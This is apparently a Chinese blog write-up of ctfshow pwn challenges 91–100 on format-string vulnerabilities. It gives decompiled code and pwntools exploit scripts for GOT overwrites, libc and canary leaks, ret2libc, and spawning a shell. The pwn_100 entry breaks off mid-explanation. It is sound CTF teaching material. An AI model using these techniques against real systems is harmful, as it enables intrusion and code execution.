刷题
pwn_091
开始格式化字符串了,先来个简单的吧#
checksec查保护:

有canary和NX保护
ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ init(&argc); logo(); ctfshow(); if ( daniu == 6 ) { puts("daniu praise you for a good job!"); system("/bin/sh"); } return 0;}unsigned int ctfshow(){ char s[80]; // [esp+Ch] [ebp-5Ch] BYREF unsigned int v2; // [esp+5Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); memset(s, 0, sizeof(s)); read(0, s, 0x50u); printf(s); printf("daniu now is :%d!\n", daniu); return __readgsdword(0x14u) ^ v2;}有格式化字符串漏洞,并且获取shell的条件是我们需要让daniu的值变成6,
先看偏移量:

在第7个位置上,接下来我们利用printf+%n向daniu地址写入6个字节的数据:
exp
#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')
daniu_addr = elf.sym['daniu']
log.success(f"daniu_addr: {hex(daniu_addr)}")# p = p32(daniu_addr)# p += b'aa'# p += b'%7$n'p = fmtstr_payload(7, {daniu_addr: 6})sh.sendline(p)sh.interactive()pwn_092
可能上一题没太看懂?来看下基础吧
checksec查保护:

保护全开,ida反编译:
int __fastcall main(int argc, const char **argv, const char **envp){ init(argc, argv, envp); logo(); puts("Here is some example:"); example(); flagishere(); return 0;}unsigned __int64 example(){ int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("Hello CTFshow %%\n"); puts("Hello CTFshow!"); printf("Num : %d\n", 114514); printf("%s %s\n", "Format", "Strings"); printf("%12c\n", 65); printf("%16s\n", "Hello"); printf("%12c%n\n", 65, &v1); printf("%16s%n\n", "Hello!", &v1); printf("%2$s %1$s\n", "Format", "Strings"); printf("%42c%1$n\n", &v1); return __readfsqword(0x28u) ^ v2;}unsigned __int64 flagishere(){ FILE *stream; // [rsp+8h] [rbp-68h] char format[10]; // [rsp+16h] [rbp-5Ah] BYREF char s[72]; // [rsp+20h] [rbp-50h] BYREF unsigned __int64 v4; // [rsp+68h] [rbp-8h]
v4 = __readfsqword(0x28u); stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 64, stream); printf("Enter your format string: "); __isoc99_scanf("%9s", format); printf("The flag is :"); printf(format, s); return __readfsqword(0x28u) ^ v4;}运行看看:

输入%s打印字符即可.
pwn_093
emmm,再来一道基础原理?
checksec查保护:

64位程序,保护全开,ida反编译:
int __fastcall main(int argc, const char **argv, const char **envp){ int v4; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u); init(argc, argv, envp); logo(); menu(); puts("Enter your choice: "); __isoc99_scanf("%d", &v4); switch ( v4 ) { case 1: func1(); break; case 2: func2(); break; case 3: func3(); break; case 4: func4(); break; case 5: func5(); break; case 6: nothing_here(); break; case 7: exit0(); break; default: puts("Invalid choice. Please enter a valid option."); break; } return 0;}int __fastcall func2(__int64 a1, int a2, int a3, const void *a4, const void *a5, const void *a6){ return printf("%08x-%07x-%p-%p-%p", a2, a3, a4, a5, a6);}
unsigned __int64 exit0(){ FILE *stream; // [rsp+8h] [rbp-58h] char s[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u); stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 64, stream); printf("%s", s); return __readfsqword(0x28u) ^ v3;}输入7即可.
pwn_094
好了,你已经学会1+1=2了,接下来继续加油吧
checksec查保护:

32位程序,NX保护开启,ida反编译:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ init(); logo(); ctfshow();}void __noreturn ctfshow(){ char buf[100]; // [esp+8h] [ebp-70h] BYREF unsigned int v1; // [esp+6Ch] [ebp-Ch]
v1 = __readgsdword(0x14u); while ( 1 ) { memset(buf, 0, sizeof(buf)); read(0, buf, 0x64u); printf(buf); }}void sys(){ system("echo Write here!");}循环向buf中写入最大0x64字节的数据,然后通过printf打印出来,这里就有格式化字符串漏洞,并且给了一个sys()函数,思路是利用格式化字符串修改下一个循环调用printf()改为调用system(),也就是将printf_got指向改为system_plt,再传入/bin/sh即可.
先看看偏移:

在第6个位置.
exp
#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')
printf_got = elf.got['printf']system_plt = elf.plt['system']
# p = fmtstr_payload(6, {printf_got: system_plt})offset = 6low_val = system_plt & 0xffffhign_val = (system_plt >> 16) & 0xffffwait_1 = low_val - 8wait_2 = (hign_val - low_val) & 0xffff
p = p32(printf_got)p += p32(printf_got + 2)p += f"%{wait_1}c%{offset}$hn".encode()p += f"%{wait_2}c%{offset + 1}$hn".encode()sh.sendline(p)sh.sendline(b'/bin/sh\x00')sh.interactive()pwn_095
加大了一点点难度,不过对你来说还是so easy 吧
checksec查保护:

32位程序,开启了NX保护,ida反编译:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ init(); logo(); ctfshow();}
void __noreturn ctfshow(){ char buf[100]; // [esp+8h] [ebp-70h] BYREF unsigned int v1; // [esp+6Ch] [ebp-Ch]
v1 = __readgsdword(0x14u); while ( 1 ) { memset(buf, 0, sizeof(buf)); read(0, buf, 0x64u); printf(buf); fflush(stdout); }}没有system函数,加入了一个fflush函数,其会强制将缓冲区中的内容立即输出到屏幕.可以尝试泄露函数got的地址,然后计算出libc的基址,从而获取system的地址,将printf或者fflush修改位system.
首先确定偏移:

为第六个参数.
#!/usr/bin/env python3
from pwn import *from LibcSearcher import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')libc = ELF('/usr/lib32/libc.so.6')
printf_got = elf.got['printf']libc_main_got = elf.got['__libc_start_main']
offset = 6
p = p32(printf_got)p += b"%6$s"sh.sendline(p)printf_addr = u32(sh.recvuntil(b"\xf7")[-4: ])p = p32(libc_main_got)p += b"%6$s"sh.sendline(p)libc_main_addr = u32(sh.recvuntil(b"\xf7")[-4: ])log.success(f"printf_addr: {hex(printf_addr)}, libc_main_addr: {hex(libc_main_addr)}")# sh.sendline(b'/bin/sh\x00')# libc = LibcSearcher('printf', printf_addr)# libc.add_condition('__libc_start_main', libc_main_addr)
# libc_base = printf_addr - libc.dump('printf')libc_base = printf_addr - libc.sym['printf']system_addr = libc_base + libc.sym['system']
p = fmtstr_payload(offset, {printf_got: system_addr})
sh.sendline(p)sh.sendline(b"/bin/sh\x00")
sh.interactive()pwn_096
先找一下偏移
checksec查一下保护:

32位程序,开启了NX保护,ida反编译一下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ char s_1[64]; // [esp+0h] [ebp-90h] BYREF char s[64]; // [esp+40h] [ebp-50h] BYREF FILE *stream; // [esp+80h] [ebp-10h] char *s_2; // [esp+84h] [ebp-Ch] int *p_argc; // [esp+88h] [ebp-8h]
p_argc = &argc; setvbuf(stdout, nullptr, 2, 0); s_2 = s_1; memset(s, 0, sizeof(s)); memset(s, 0, sizeof(s)); puts(asc_8048830); puts(asc_80488A4); puts(asc_8048920); puts(asc_80489AC); puts(asc_8048A3C); puts(asc_8048AC0); puts(asc_8048B54); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Format_String "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : Flag on the stack! "); puts(" * ************************************* "); puts("It's time to learn about format strings!"); puts("Where is the flag?"); stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s_1, 64, stream); while ( 1 ) { printf("$ "); fgets(s, 64, stdin); printf(s); }}flag在栈上,并且比s先一步存储在栈上,所以我们可以尝试通过格式化字符串%p打印栈上的数据,获取flag.

可以看道,从第6个开始,是flag的ascii的hex的小端序数据,解码:
#!/usr/bin/env python3
from pwn import *
nums = [ 0x67616c66, 0x6968747b, 0x73695f73, 0x6165725f, 0x665f796c, 0x7d67616c]
for num in nums: print(f"{p32(num).decode()}", end = '')pwn_097
覆写某个值满足某条件好像就可以了
checksec查保护:

开启了canary和nx保护,ida反编译
int __cdecl main(int argc, const char **argv, const char **envp){ char s[64]; // [esp+10h] [ebp-4Ch] BYREF unsigned int v5; // [esp+50h] [ebp-Ch] int *p_argc; // [esp+54h] [ebp-8h]
p_argc = &argc; v5 = __readgsdword(0x14u); setvbuf(stdout, nullptr, 2, 0); puts(asc_8048A64); puts(asc_8048AD8); puts(asc_8048B54); puts(asc_8048BE0); puts(asc_8048C70); puts(asc_8048CF4); puts(asc_8048D88); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Format_String "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : Find a way to elevate your privileges! "); puts(" * ************************************* "); puts("You can use two command('cat /ctfshow_flag' && 'shutdown')"); putchar(36); fgets(s, 64, stdin); if ( strstr(s, "shutdown") ) { puts("See you~"); exit(1); } if ( !strstr(s, "cat /ctfshow_flag") ) { puts("Here you are:\n"); printf(s); } get_flag(); return 0;}int get_flag(){ if ( !check ) return puts("Permission denied."); puts("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag"); return flag();}
int flag(){ FILE *stream; // [esp+8h] [ebp-40h] char s[48]; // [esp+Ch] [ebp-3Ch] BYREF unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory"); exit(0); } fgets(s, 48, stream); printf("%s", s); return 0;}接收64字节s,然后进行字符串匹配,如果没有cat /ctfshow_flag,则触发格式化字符串漏洞,进入到get_flag函数,同时,会检测check的值,如果为1,则会执行flag.
思路明了了,利用格式化字符串漏洞修改check的值为1即可.
先确定偏移:

在第11个位置上
exp
#!/usr/bin/env python3
from pwn import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')
check_addr = elf.sym['check']
offset = 11
p = fmtstr_payload(offset, {check_addr: 1})sh.sendline(p)sh.interactive()pwn_098
Canary?有没有办法绕过呢?
checksec查保护:

32位程序,开启了canary和NX保护,ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ init(); logo(); ctfshow(); return 0;}unsigned int ctfshow(){ char s[40]; // [esp+4h] [ebp-34h] BYREF unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); gets(s); printf(s); gets(s); return __readgsdword(0x14u) ^ v2;}标准的栈溢出+格式化字符串漏洞,思路是先利用格式化字符串漏洞泄露canary的值,然后再打ret2libc,计算偏移:

在第六个位置上,我们再寻找canary再栈上的第几个位置:

距离栈顶为(0xd0-0x0c),也就是在栈上第15的位置上,检验一下:

canary泄露出来之后,我们尝试泄露libc的地址,:
第一次没看见还有个后门函数,不过问题不大,通过格式化字符串泄露got表的真实地址,然后泄露出libc的基地址即可.
#!/usr/bin/env python3
from pwn import *from LibcSearcher import *
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)elf = ELF('./pwn')rop = ROP('./pwn')libc = ELF('/usr/lib32/libc.so.6')
log.info("===============================steg1: leaking canary ==================================")printf_got = elf.got['printf']gets_got = elf.got['gets']ret_addr = rop.find_gadget(['ret'])[0]back_door = 0x080486CEp = p32(printf_got) + p32(gets_got)p += b"|%5$s"p += b"|%6$s"p +=b"|%15$p"
sh.recvuntil(b"then exploit it !")sh.sendline(p)# gdb.attach(sh)sh.recvuntil(b"|")printf_addr = u32(sh.recvuntil(b'\xf7')[-4:])sh.recvuntil(b"|")gets_addr = u32(sh.recvuntil(b'\xf7')[-4:])sh.recvuntil(b"|")canary = int(sh.recv(), 16)
log.success(f"canary: {hex(canary)}")
log.info("=================================steg2: leaking libc========================================")# libc = LibcSearcher("printf", printf_addr)# libc.add_condition("gets", gets_addr)
# libc_base = printf_addr - libc.dump("printf")# system_addr = libc_base + libc.dump("system")# bin_sh = libc_base + libc.dump("str_bin_sh")
libc_base = printf_addr - libc.sym["printf"]system_addr = libc_base + libc.sym["system"]bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
log.success(f"libc_base: {hex(libc_base)}, system_addr: {hex(system_addr)}")
offset = 0x34 - 0x0c
p = b"A" * offsetp += p32(canary)p += b"B" * 0xc# p += p32(back_door)p += p32(system_addr)p += p32(ret_addr)p += p32(bin_sh)
sh.sendline(p)sh.interactive()pwn_099
fmt盲打(不是忘记放附件,是本身就没附件!!!)
pwn_100
有些东西好像需要一定条件
checksec查保护:

64位程序,保护全开 ,ida反编译
int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ int v3; // [rsp+Ch] [rbp-14h] BYREF int v4; // [rsp+10h] [rbp-10h] BYREF unsigned int n2; // [rsp+14h] [rbp-Ch] unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u); initial(argc, argv, envp); whattime(); v3 = 0; v4 = 0; while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); n2 = get_int(); if ( n2 != 2 ) break; fmt_attack(&v3); } if ( n2 > 2 ) break; if ( n2 == 1 ) leak(&v4); } if ( n2 == 3 ) get_flag(); if ( n2 == 4 ) { puts("Bye!"); exit(0); } }}
unsigned __int64 __fastcall initial(int argc, const char **argv, const char **envp){ int fd; // [rsp+4h] [rbp-Ch] unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u); setvbuf(stdin, nullptr, 2, 0); setvbuf(stdout, nullptr, 2, 0); setvbuf(stderr, nullptr, 2, 0); fd = open("/dev/urandom", 0); if ( read(fd, secret, 0x40u) < 0 ) { puts("read error!"); exit(1); } close(fd); return __readfsqword(0x28u) ^ v5;}
unsigned __int64 whattime(){ __int64 v1; // [rsp+0h] [rbp-20h] BYREF __int64 v2; // [rsp+8h] [rbp-18h] BYREF __int64 v3; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u); puts("Hello my bro."); printf("What time is it :"); _isoc99_scanf("%ld", &v1); _isoc99_scanf("%ld", &v2); _isoc99_scanf("%ld", &v3); printf("Ok! time is %ld:%ld:%ld\n", v1, v2, v3); return __readfsqword(0x28u) ^ v4;}unsigned __int64 menu(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u); puts("1. leak"); puts("2. fmt_attack"); puts("3. get_flag"); puts("4. exit"); printf(">>"); return __readfsqword(0x28u) ^ v1;}
int get_int(){ char nptr[8]; // [rsp+0h] [rbp-20h] BYREF __int64 v2; // [rsp+8h] [rbp-18h] unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u); *(_QWORD *)nptr = 0; v2 = 0; read_n(nptr, 15); return atoi(nptr);}
unsigned __int64 __fastcall fmt_attack(int *a1){ char format[56]; // [rsp+10h] [rbp-40h] BYREF unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u); memset(format, 0, 0x30u); if ( *a1 > 0 ) { puts("No way!"); exit(1); } *a1 = 1; read_n(format, 40); printf(format); return __readfsqword(0x28u) ^ v3;}
void __noreturn get_flag(){ int fd; // [rsp+Ch] [rbp-64h] char s2[88]; // [rsp+10h] [rbp-60h] BYREF unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u); memset(s2, 0, 0x50u); puts("Flag is here ! Come on !!"); read_n(s2, 64); if ( !strncmp(secret, s2, 0x40u) ) { close(1); fd = open("/flag", 0); read(fd, s2, 0x50u); printf(s2); exit(0); } puts("No way!"); exit(1);}unsigned __int64 __fastcall leak(int *a1){ void *buf; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u); if ( *a1 > 0 ) { puts("No way!"); exit(1); } *a1 = 1; read_n((char *)&buf, 8); write(1, buf, 1u); return __readfsqword(0x28u) ^ v3;}获取flag的函数位get_flag(),但是需要我们输入一个与secret相同的字符串才能获取到flag,而secret是由/dev/urandom生成的.leak函数可以泄露栈上8字节的数据,fmt_attack则是一个格式化字符串漏洞.思路就是
分享文章
生成精美分享图或复制链接,与更多人分享本文。
继续阅读
换条路线
从其他文章中稳定抽取
最后更新于 ,距今已过 153 天
部分内容可能已过时
评论